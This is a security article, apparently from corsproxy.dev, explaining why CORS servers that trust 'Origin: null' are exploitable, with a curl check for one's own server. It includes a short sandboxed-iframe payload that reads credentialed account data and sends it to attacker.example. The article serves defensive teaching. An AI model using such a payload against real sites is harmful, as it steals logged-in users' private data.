Security

Null origin in CORS: why you can't trust it

Every browser can send a request with Origin: null, and the page that triggers it doesn't need any special access — a sandboxed iframe or a local file:// page will do. Some servers special-case that value in their CORS logic anyway, usually to stop local testing from failing. Here's where the null origin actually comes from, why allowlisting it is a documented vulnerability rather than a workaround, and how to check your own server for it.

· ~6 min read

Where "Origin: null" comes from

The Origin header isn't always a scheme-plus-host. Per the MDN reference for Access-Control-Allow-Origin, requests from documents whose origin doesn't serialize to a normal scheme/host/port triple send the literal string null instead. Two cases produce this on every browser:

Neither of those requires the attacker to control any infrastructure. Any page on the web can embed a sandboxed iframe that makes a request with Origin: null, whenever it wants, targeting whatever URL it wants.

Why servers end up trusting it

The usual path: someone opens an HTML file locally while debugging, their fetch call fails with a CORS error, they inspect the request and see Origin: null, and they add null to the allowlist to make the error go away. It works in development, ships to production, and now the server will set Access-Control-Allow-Origin: null for anyone who sends that header — which, as above, is anyone who wants to.

It's a narrower case of a broader mistake: a server that reflects whatever Origin it receives, with no validation at all, is exactly the misconfiguration the OWASP Web Security Testing Guide's CORS chapter flags as insecure — it calls out echoing the Origin header back without checks as a way to expose sensitive data to any origin. Trusting null specifically is just that mistake with one extra step of plausible deniability: it looks like a narrow, deliberate allowance instead of "accept anything."

The exploit, concretely

PortSwigger publishes a runnable lab for exactly this: CORS vulnerability with trusted null origin, where a sandboxed iframe forces the null origin and reads back data from an account endpoint that trusts it. The shape of that attack, in its simplest form, is a sandboxed iframe that issues a credentialed request and exfiltrates whatever comes back:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
        src="data:text/html,<script>
          fetch('https://victim.example/account-data', { credentials: 'include' })
            .then(r => r.text())
            .then(t => fetch('https://attacker.example/log?d=' + encodeURIComponent(t)));
        </script>"></iframe>

This only reads anything back if three things are all true at once on the victim server: it echoes Access-Control-Allow-Origin: null, it sends Access-Control-Allow-Credentials: true, and the victim is logged in so their session cookie rides along with credentials: 'include'. That's exactly the combination the credentialed request rules exist to gate — and trusting null quietly satisfies the origin half of it for free, for anyone.

A W3C WebAppSec mailing list thread from 2017 makes the underlying point plainly: every sandboxed frame sends the same null value, so a server that trusts it has no way to distinguish a sandboxed page it meant to allow from a sandboxed page an attacker built on their own site. There's no safer way to write that allowlist entry — the value itself doesn't carry enough information to trust, no matter how carefully it's checked.

What to do instead

Checking your own server

One request tells you whether this applies to you:

curl -sI -H "Origin: null" -H "Cookie: session=test" \
  https://your-api.example.com/some-authenticated-route | grep -i access-control

If Access-Control-Allow-Origin: null comes back alongside Access-Control-Allow-Credentials: true, the endpoint is exploitable exactly as described above — fix it before anything else on this page.

Where corsproxy.dev stands on this

corsproxy.dev's own CORS headers don't reflect the Origin header at all: Access-Control-Allow-Origin is always *, and we never send Access-Control-Allow-Credentials, so there's no origin-trust decision to get wrong in the first place. That's a deliberate trade covered in more depth in how a CORS proxy works — and how it can be abused.

API keys have a separate, narrower origin control — an allowlist of browser origins permitted to use a given key — and it's built on the same strict-parsing rule the exploit above depends on being absent: an allowed origin has to parse as a real http: or https: URL with no path, query, or credentials. null doesn't parse that way, so it can't be entered as a rule, by construction rather than by a special case someone had to remember to add.